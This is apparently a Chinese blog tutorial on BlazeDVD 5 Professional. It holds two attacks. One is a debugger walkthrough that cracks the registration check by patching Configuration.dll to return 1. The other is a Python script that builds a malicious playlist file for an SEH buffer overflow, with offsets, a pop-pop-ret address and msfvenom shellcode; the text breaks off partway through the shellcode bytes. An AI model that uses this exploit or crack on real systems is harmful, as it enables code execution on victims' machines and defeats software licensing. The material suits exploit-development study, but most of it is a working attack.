.text:60314712 push offset aVersioninfo ; "VersionInfo"
.text:60314717 ; 233: v12 = v3[52];
.text:60314717 push eax
.text:60314718 ; 234: LOBYTE(v87) = 25;
.text:60314718 mov byte ptr [esp+16D8h+var_4], 19h
.text:60314720 call dword ptr [edx+20h] ; 67001468 VersionInfo+00x1468
</code></pre></div></div>
<p>虽然说序列号的校验逻辑就在<code class="language-plaintext highlighter-rouge">Configuration! sub_60314260</code>中,但其中涉及多个函数指针调用,还有寄存器的多次循环位移验证,校验的过程感觉会很复杂。况且我已经有了序列号,逆推算法如果有效的序列号唯一那就大费功夫了。</p>
<p>所以还是得在patch上想办法,如果只是在校验过程中patch使其弹出注册成功的框并没有什么意义,因为根据验证和程序的特点,再使用功能的时候还是会验证是否注册。逆推其应该还是会通过读取配置文件进行判断,根据前文分析经验在<code class="language-plaintext highlighter-rouge">kernel32!GetPrivateProfileStringA </code>处下断点,看看函数调用情况:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(cb4.94c): Break instruction exception - code 80000003 (first chance)
eax=7ffdc000 ebx=00000000 ecx=00000000 edx=77f5f125 esi=00000000 edi=00000000
eip=77ef40f0 esp=0664ff5c ebp=0664ff88 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
77ef40f0 cc int 3
0:004> bp kernel32!GetPrivateProfileStringA
0:004> bl
0 e 77e1d8d7 0001 (0001) 0:**** kernel32!GetPrivateProfileStringA
0:004> g
Breakpoint 0 hit
eax=0012f480 ebx=00000000 ecx=0012f455 edx=6034745e esi=77e3450e edi=0012f450
eip=77e1d8d7 esp=0012f434 ebp=0012f894 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
kernel32!GetPrivateProfileStringA:
77e1d8d7 8bff mov edi,edi
0:000> dd esp L7
*** WARNING: Unable to verify checksum for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\VersionInfo.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\VersionInfo.dll -
0012f434 67001548 0012f45c 0012f450 6700bde0
0012f444 0012f480 00000401 02620684
0:000> db 0012f45c L20
0012f45c 56 65 72 73 69 6f 6e 49-6e 66 6f 00 ba 71 ce 0d VersionInfo..q..
0012f46c ba 71 ce 0d e3 14 00 67-38 68 4c 00 80 06 62 02 .q.....g8hL...b.
0:000> db 0012f450 L20
0012f450 4b 65 79 33 00 71 ce 0d-13 15 00 67 56 65 72 73 Key3.q.....gVers
0012f460 69 6f 6e 49 6e 66 6f 00-ba 71 ce 0d ba 71 ce 0d ionInfo..q...q..
0:000> db 02620684
02620684 43 3a 5c 50 72 6f 67 72-61 6d 44 61 74 61 5c 42 C:\ProgramData\B
02620694 6c 61 7a 65 56 69 64 65-6f 5c 42 6c 61 7a 65 44 lazeVideo\BlazeD
026206a4 56 44 20 35 2e 31 20 50-72 6f 66 65 73 73 69 6f VD 5.1 Professio
026206b4 6e 61 6c 5c 62 6c 61 7a-65 64 76 64 2e 64 6c 6c nal\blazedvd.dll
026206c4 00 30 34 34 33 38 65 63-61 30 31 34 63 38 62 63 .04438eca014c8bc
026206d4 37 30 32 34 39 38 34 63-30 30 66 34 61 38 31 63 7024984c00f4a81c
026206e4 64 30 38 34 37 38 32 63-65 30 35 34 30 38 66 63 d084782ce05408fc
026206f4 62 30 36 34 64 38 38 63-34 30 33 34 65 38 35 63 b064d88c4034e85c
0:000> kv
ChildEBP RetAddr Args to Child
0012f430 67001548 0012f45c 0012f450 6700bde0 kernel32!GetPrivateProfileStringA (FPO: [Non-Fpo])
*** WARNING: Unable to verify checksum for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\Configuration.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\Configuration.dll -
WARNING: Stack unwind information not available. Following frames may be wrong.
0012f894 6030481a 02620680 0000000a 60347454 VersionInfo+0x1548
00000000 00000000 00000000 00000000 00000000 Configuration+0x481a
0:000> g
Breakpoint 0 hit
eax=0012f598 ebx=00000000 ecx=0012f56e edx=60347438 esi=77e3450e edi=0012f560
eip=77e1d8d7 esp=0012f544 ebp=0012f9ac iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
kernel32!GetPrivateProfileStringA:
77e1d8d7 8bff mov edi,edi
0:000> dd esp L7
0012f544 67001548 0012f57c 0012f560 6700bde0
0012f554 0012f598 00000401 02620684
0:000> db 0012f57c L20
0012f57c 43 6f 6e 66 69 67 00 0d-ba 71 ce 0d e3 14 00 67 Config...q.....g
0012f58c 38 68 4c 00 80 06 62 02-01 00 00 00 00 00 00 00 8hL...b.........
0:000> db 0012f560 L20
0012f560 52 65 67 69 73 74 65 72-49 6e 66 6f 32 00 ff ff RegisterInfo2...
0012f570 ba 71 ce 0d ba 71 ce 0d-13 15 00 67 43 6f 6e 66 .q...q.....gConf
0:000> kv
ChildEBP RetAddr Args to Child
0012f540 67001548 0012f57c 0012f560 6700bde0 kernel32!GetPrivateProfileStringA (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
0012f9ac 6030476c 02620680 0000001c 6034741c VersionInfo+0x1548
*** WARNING: Unable to verify checksum for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\BlazeDVD.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\BlazeDVD.exe
0012fb58 00424117 05ab3e40 023c94ac 0012fb60 Configuration+0x476c
0012fb74 00467d7c 05ab3e40 023dc480 0046fe1b BlazeDVD+0x24117
00000000 00000000 00000000 00000000 00000000 BlazeDVD+0x67d7c
</code></pre></div></div>
<p>读取的和注册相关的配置信息就只有<code class="language-plaintext highlighter-rouge">VersionInfo[Key3]</code>和<code class="language-plaintext highlighter-rouge">Config[RegisterInfo2]</code>,说明注册的过程是跟username和email无关的,如果根据栈回溯的结果来看的话,如果判断是否注册的逻辑真在BlazeDVD,那么要patch只能在内存中patch一次,无法实现长久的破解了。所以还是下断点跟一下函数调用的流程:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> g
Breakpoint 0 hit
eax=0012dac0 ebx=00000000 ecx=0012da95 edx=6034745e esi=77e3450e edi=0012da90
eip=77e1d8d7 esp=0012da74 ebp=0012ded4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
kernel32!GetPrivateProfileStringA:
77e1d8d7 8bff mov edi,edi
0:000> dd esp L7
0012da74 67001548 0012da9c 0012da90 6700bde0
0012da84 0012dac0 00000401 02620684
0:000> db 0012da9c L20
0012da9c 56 65 72 73 69 6f 6e 49-6e 66 6f 00 ba 71 ce 0d VersionInfo..q..
0012daac ba 71 ce 0d e3 14 00 67-38 68 4c 00 80 06 62 02 .q.....g8hL...b.
0:000> db 0012da90 L20
0012da90 4b 65 79 33 00 71 ce 0d-13 15 00 67 56 65 72 73 Key3.q.....gVers
0012daa0 69 6f 6e 49 6e 66 6f 00-ba 71 ce 0d ba 71 ce 0d ionInfo..q...q..
0:000> bp 670015EB
0:000> g
Breakpoint 1 hit
eax=00000000 ebx=00000001 ecx=0012e018 edx=0262000c esi=02620680 edi=004c6838
eip=670015eb esp=0012ded8 ebp=00000000 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
VersionInfo+0x15eb:
670015eb c21400 ret 14h
0:000> dd esp L1
0012ded8 6030481a
0:000> bp 60304952
0:000> g
Breakpoint 2 hit
eax=00253930 ebx=00000001 ecx=0012e0d0 edx=00253930 esi=02620680 edi=004c6838
eip=60304952 esp=0012e024 ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Configuration+0x4952:
60304952 c20400 ret 4
0:000> dd esp L1
0012e024 6030341a
0:000> !address 6030341a
Failed to map Heaps (error 80004005)
Usage: Image
Allocation Base: 60300000
Base Address: 60301000
End Address: 60333000
Region Size: 00032000
Type: 01000000 MEM_IMAGE
State: 00001000 MEM_COMMIT
Protect: 00000020 PAGE_EXECUTE_READ
More info: lmv m Configuration
More info: !lmi Configuration
More info: ln 0x6030341a
</code></pre></div></div>
<p>发现一个蛮像的地址,通过反汇编上下文环境大致可以猜出,这里便是验证注册的地方,调用函数<code class="language-plaintext highlighter-rouge">sub_603047D0</code>获取Key3的值,调用函数<code class="language-plaintext highlighter-rouge">sub_60304700</code>获取RegisterInfo2的值,在函数<code class="language-plaintext highlighter-rouge">sub_60303710</code>中进行校验,最后根据eax的值来确定是否为注册了:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:603033F7 lea ecx, [esp+0B0h+var_98]
.text:603033FB call sub_6030AF10
.text:60303400 lea eax, [esp+0B0h+var_98]
.text:60303404 mov ebx, 1
.text:60303409 push eax
.text:6030340A lea ecx, [esp+0B4h+var_A0]
.text:6030340E mov byte ptr [esp+0B4h+var_4], bl
.text:60303415 call sub_603047D0
.text:6030341A lea ecx, [esp+0B0h+lpString]
.text:6030341E push ecx
.text:6030341F lea ecx, [esp+0B4h+var_A0]
.text:60303423 call sub_60304700
.text:60303428 mov edx, [esp+0B0h+lpString]
.text:6030342C lea ecx, [esp+0B0h+var_98]
.text:60303430 push edx ; lpString
.text:60303431 mov byte ptr [esp+0B4h+var_4], 2
.text:60303439 call sub_60303710
.text:6030343E lea ecx, [esp+0B0h+lpString]
.text:60303442 mov esi, eax
.text:60303444 mov byte ptr [esp+0B0h+var_4], bl
.text:6030344B call sub_603291BE
.text:60303450 lea ecx, [esp+0B0h+var_98]
.text:60303454 mov byte ptr [esp+0B0h+var_4], 0
.text:6030345C call sub_6030AF70
.text:60303461 mov eax, esi
.text:60303463 jmp loc_603036
</code></pre></div></div>
<p>调试一下也可以间接验证一下,返回0是没有注册,那么返回1便会是注册了:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> bp 60303442
0:000> g
Breakpoint 0 hit
eax=0012dbd8 ebx=00000000 ecx=0012dbae edx=60347438 esi=77e3450e edi=0012dba0
eip=77e1d8d7 esp=0012db84 ebp=0012dfec iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
kernel32!GetPrivateProfileStringA:
77e1d8d7 8bff mov edi,edi
0:000> dd esp L7
0012db84 67001548 0012dbbc 0012dba0 6700bde0
0012db94 0012dbd8 00000401 02620684
0:000> db 0012dbbc L20
0012dbbc 43 6f 6e 66 69 67 00 0d-ba 71 ce 0d e3 14 00 67 Config...q.....g
0012dbcc 38 68 4c 00 80 06 62 02-01 00 00 00 00 00 00 00 8hL...b.........
0:000> db 0012dba0 L20
0012dba0 52 65 67 69 73 74 65 72-49 6e 66 6f 32 00 ff ff RegisterInfo2...
0012dbb0 ba 71 ce 0d ba 71 ce 0d-13 15 00 67 43 6f 6e 66 .q...q.....gConf
0:000> g
Breakpoint 1 hit
eax=80070057 ebx=00000001 ecx=0012e018 edx=00000000 esi=02620680 edi=004c6838
eip=670015eb esp=0012dff0 ebp=00000000 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
VersionInfo+0x15eb:
670015eb c21400 ret 14h
0:000> g
Breakpoint 3 hit
eax=00000000 ebx=00000001 ecx=0012e038 edx=60348dec esi=02620680 edi=004c6838
eip=60303442 esp=0012e02c ebp=00000000 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
Configuration+0x3442:
60303442 8bf0 mov esi,eax
</code></pre></div></div>
<p>最终可以patch <code class="language-plaintext highlighter-rouge">60303461</code>处的两个字节,将eax的值变为1,最简单的便是<code class="language-plaintext highlighter-rouge">mov al, 1</code>。将patch应用至原文件,再把新的Configuration.dll进行覆盖即可完成破解了XD。</p>
<h1>0x02 漏洞案例</h1>
<p>原文中使用的漏洞案例触发点在打开某个palylist,文件中包含的过长内容会造成缓冲区溢出,也可以发展成为基于SEH的漏洞利用。之前的博文也提到过,如果在调试器中运行程序,那么程序遇到的异常首先会转交给调试器,运气好的话我们可以根据此异常点直接定位到漏洞点,先用长度为5000的pattern试水:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(254.b3c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00001389 ebx=02a21a70 ecx=00000165 edx=0624d88c esi=0624e680 edi=00130000
eip=6400f530 esp=0012f1ec ebp=00000001 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** WARNING: Unable to verify checksum for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\MediaPlayerCtrl.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\BlazeVideo\BlazeDVD 5 Professional\MediaPlayerCtrl.dll -
MediaPlayerCtrl!DllCreateObject+0x220:
6400f530 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> g
(254.b3c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=31644230 edx=77f071cd esi=00000000 edi=00000000
eip=31644230 esp=0012ec98 ebp=0012ecb8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
31644230 ?? ???
</code></pre></div></div>
<p>可以看到是在一个循环过程中把栈打满了导致的异常,在IDA中查看对应地址可知是一个strcpy向栈上拷贝文件的内容导致溢出,同时算出和SEH Handler的偏移为872,和原文中略有不同:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">__thiscall</span> <span class="nf">sub_6400F4B0</span><span class="p">(</span><span class="kt">int</span> <span class="n">this</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a2</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a3</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">a4</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">a5</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">//......</span>
<span class="kt">int</span> <span class="n">v14</span><span class="p">;</span> <span class="c1">// [sp+10h] [bp-214h]@4</span>
<span class="kt">int</span> <span class="n">v15</span><span class="p">;</span> <span class="c1">// [sp+14h] [bp-210h]@4</span>
<span class="kt">int</span> <span class="n">v16</span><span class="p">;</span> <span class="c1">// [sp+18h] [bp-20Ch]@4</span>
<span class="kt">char</span> <span class="n">v17</span><span class="p">;</span> <span class="c1">// [sp+1Ch] [bp-208h]@4</span>
<span class="kt">char</span> <span class="n">v18</span><span class="p">;</span> <span class="c1">// [sp+120h] [bp-104h]@4</span>
<span class="n">v5</span> <span class="o">=</span> <span class="n">this</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">a2</span> <span class="o">&&</span> <span class="n">a4</span> <span class="o">&&</span> <span class="n">a5</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">v15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x210u</span><span class="p">);</span>
<span class="n">v14</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">this</span> <span class="o">+</span> <span class="mi">4</span><span class="p">);</span>
<span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">this</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">=</span> <span class="n">v14</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">v16</span> <span class="o">=</span> <span class="n">a3</span><span class="p">;</span>
<span class="n">v15</span> <span class="o">=</span> <span class="n">a2</span><span class="p">;</span>
<span class="n">strcpy</span><span class="p">(</span><span class="o">&</span><span class="n">v17</span><span class="p">,</span> <span class="n">a4</span><span class="p">);</span>
<span class="n">strcpy</span><span class="p">(</span><span class="o">&</span><span class="n">v18</span><span class="p">,</span> <span class="n">a5</span><span class="p">);</span>
</code></pre></div></div>
<p>先进行基于SEH的漏洞利用,<code class="language-plaintext highlighter-rouge">pop pop ret</code>的地址和原文相同,在next SEH中先用<code class="language-plaintext highlighter-rouge">\xcc</code>下断,可查看shellcode的毁坏情况:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">padding</span> <span class="o">=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mi">868</span>
<span class="n">next_seh</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xcc\x90\x90\x90</span><span class="s">"</span>
<span class="n">handler</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xf7\x46\x02\x64</span><span class="s">"</span> <span class="c1"># 640246f7
</span><span class="n">shellcode</span> <span class="o">=</span> <span class="s">"B"</span> <span class="o">*</span> <span class="mi">500</span>
<span class="n">junk</span> <span class="o">=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mi">3000</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">padding</span> <span class="o">+</span> <span class="n">next_seh</span> <span class="o">+</span> <span class="n">shellcode</span> <span class="o">+</span> <span class="n">junk</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"crash.plf"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>
<p>成功断在预期的<code class="language-plaintext highlighter-rouge">\xcc</code>处,而且shellcode也没有遭到破坏:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> g
(15a8.17a4): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=0012ed80 ecx=640246f7 edx=77f071cd esi=77f071b9 edi=00000000
eip=0012f570 esp=0012eca4 ebp=0012ecb8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0012f570 cc int 3
0:000> db eip
0012f570 cc 90 90 90 f7 46 02 64-42 42 42 42 42 42 42 42 .....F.dBBBBBBBB
0012f580 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0012f590 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0012f5a0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0012f5b0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0012f5c0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0012f5d0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0012f5e0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0:000> db eip+8+0n500-20
0012f74c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0012f75c 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0012f76c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012f77c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012f78c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012f79c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012f7ac 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012f7bc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
</code></pre></div></div>
<p>那么按照正常的剧本来说next上一个短跳至shellcode就可以弹计算器了,但是当加上之前的shellcode再次触发漏洞时,shellcode并没有执行成功,而且在<code class="language-plaintext highlighter-rouge">pop pop ret</code>上下断点也断不下来,这就意味shellcode部分会因为某些坏字符而被破坏了,可以在函数<code class="language-plaintext highlighter-rouge">sub_6400F4B0</code>起始处下断点验证一下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Breakpoint 0 hit
eax=00000001 ebx=6de300aa ecx=02ca1a70 edx=00000000 esi=02ca1a70 edi=0012f471
eip=6400f4b0 esp=0012f414 ebp=02ca1cc0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MediaPlayerCtrl!DllCreateObject+0x1a0:
6400f4b0 81ec18020000 sub esp,218h
0:000> dd esp L5
0012f414 6400f04f 00000001 00000000 02c25da5
0012f424 02c25da0
0:000> db 02c25da5 L20
02c25da5 63 72 61 73 68 2e 70 6c-66 00 00 69 00 6c 00 65 crash.plf..i.l.e
02c25db5 00 49 00 6e 00 66 00 6f-00 00 00 c4 02 00 00 01 .I.n.f.o........
0:000> db 02c25da0 L20
02c25da0 5a 3a 5c 35 5c 63 72 61-73 68 2e 70 6c 66 00 00 Z:\5\crash.plf..
02c25db0 69 00 6c 00 65 00 49 00-6e 00 66 00 6f 00 00 00 i.l.e.I.n.f.o...
0:000> g
Breakpoint 0 hit
eax=00000001 ebx=6de300aa ecx=02ca1a70 edx=00000001 esi=02ca1a70 edi=6405569c
eip=6400f4b0 esp=0012f414 ebp=02ca1cc0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MediaPlayerCtrl!DllCreateObject+0x1a0:
6400f4b0 81ec18020000 sub esp,218h
0:000> dd esp L5
0012f414 6400f04f 00000001 00000001 05aadc5d
0012f424 05aad88c
0:000> db 05aadc5d
05aadc5d 11 e7 e3 24 48 27 05 e9-e0 6e 1d ee cd 39 96 c4 ...$H'...n...9..
05aadc6d ba bb 7e 15 42 17 bf 9a-b1 69 87 1c 2a 1c f1 5f ..~.B....i..*.._
05aadc7d d7 27 c6 22 03 ad dd 84-c0 15 3a 35 04 c3 c9 39 .'."......:5...9
05aadc8d e1 87 96 5d f4 44 ad 59-7d 6b 62 e8 c5 48 a6 b1 ...].D.Y}kb..H..
05aadc9d 9e f1 ff 1f 70 0d 1f c0-2d ab 6b ec 3a c6 31 7a ....p...-.k.:.1z
05aadcad bc 54 4c c8 be 66 4f 7c-d7 57 c4 13 a0 67 0f 50 .TL..fO|.W...g.P
05aadcbd 5e 22 12 f0 f7 eb c6 41-9a 0b 3d 85 a3 8f b4 75 ^".....A..=....u
05aadccd 50 8f bc 70 1c 17 2c 08-0d f2 52 bf 2e d7 30 5e P..p..,...R...0^
0:000> db 05aadc5d+0n868
05aadfc1 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
05aadfd1 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
05aadfe1 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
05aadff1 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
05aae001 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
05aae011 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
05aae021 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
05aae031 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> g
(1714.9a0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012f310 ebx=02ca1a70 ecx=000000c8 edx=00001011 esi=05aae57c edi=00130000
eip=6400f558 esp=0012f1ec ebp=00000001 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
MediaPlayerCtrl!DllCreateObject+0x248:
6400f558 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
</code></pre></div></div>
<p>不止是shellcode整体的payload也是大变样了,这一点虽然在原文中没有提,但肯定是和软件的上下文环境相关的,同时也观察到原文中使用的shellcode貌似全部是由可见的字符组成的,当我换成<code class="language-plaintext highlighter-rouge">x86/alpha_upper</code>的encoder,整体的漏洞利用也就没有问题了:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">padding</span> <span class="o">=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mi">868</span>
<span class="n">next_seh</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xeb\x06\x90\x90</span><span class="s">"</span>
<span class="n">handler</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xf7\x46\x02\x64</span><span class="s">"</span> <span class="c1"># 640246f7 pop pop ret
</span><span class="n">junk</span> <span class="o">=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mi">3000</span>
<span class="c1"># msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/alpha_upper -f python -v shellcode -n 16
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/alpha_upper
# x86/alpha_upper succeeded with size 455 (iteration=0)
# x86/alpha_upper chosen with final size 455
# Successfully added NOP sled from x86/single_byte
# Payload size: 471 bytes
# Final size of python file: 2540 bytes
</span><span class="n">shellcode</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x42\x9f\x43\x93\xd6\x48\x37\xf5\x92\x90\x4a\x93</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x43\xf9\x92\x92\x89\xe3\xdb\xc9\xd9\x73\xf4\x5e</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x56\x59\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4c\x4b\x58\x4c\x42\x43\x30\x35\x50\x55\x50\x33</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x50\x4d\x59\x5a\x45\x46\x51\x39\x50\x55\x34\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x56\x30\x50\x30\x4c\x4b\x30\x52\x44\x4c\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x30\x52\x42\x34\x4c\x4b\x43\x42\x46\x48\x54</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4f\x58\x37\x51\x5a\x51\x36\x36\x51\x4b\x4f\x4e</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4c\x37\x4c\x45\x31\x33\x4c\x35\x52\x46\x4c\x47</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x50\x59\x51\x48\x4f\x44\x4d\x45\x51\x4f\x37\x4d</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x32\x5a\x52\x46\x32\x56\x37\x4c\x4b\x56\x32\x42</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x4c\x4b\x50\x4a\x47\x4c\x4c\x4b\x30\x4c\x54</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x51\x33\x48\x5a\x43\x51\x58\x35\x51\x48\x51\x50</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x51\x4c\x4b\x31\x49\x51\x30\x53\x31\x49\x43\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x51\x59\x45\x48\x5a\x43\x56\x5a\x50\x49\x4c</span><span class="s">"</span>
